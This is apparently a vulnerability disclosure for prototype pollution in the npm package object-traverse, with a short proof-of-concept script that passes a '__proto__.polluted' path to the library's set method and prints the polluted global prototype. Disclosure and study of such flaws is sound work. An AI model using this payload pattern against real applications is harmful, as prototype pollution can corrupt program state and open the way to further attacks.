object-traverse

vulnerability prototype pollution
severity 6.5
language javascript
registry npm

Description

Prototype Pollution in object-traverse

Proof of Concept

  1. Create the following PoC file:
// poc.js
var objectTraverse = require("object-traverse")
var obj = {}
console.log("Before : " + {}.polluted);
objectTraverse(obj).set("__proto__.polluted","Yes! Its Polluted");
console.log("After : " + {}.polluted);
  1. Execute the following commands in terminal:
npm i object-traverse # Install affected module
node poc.js #  Run the PoC
  1. Check the Output:
Before : undefined
After : Yes! Its Polluted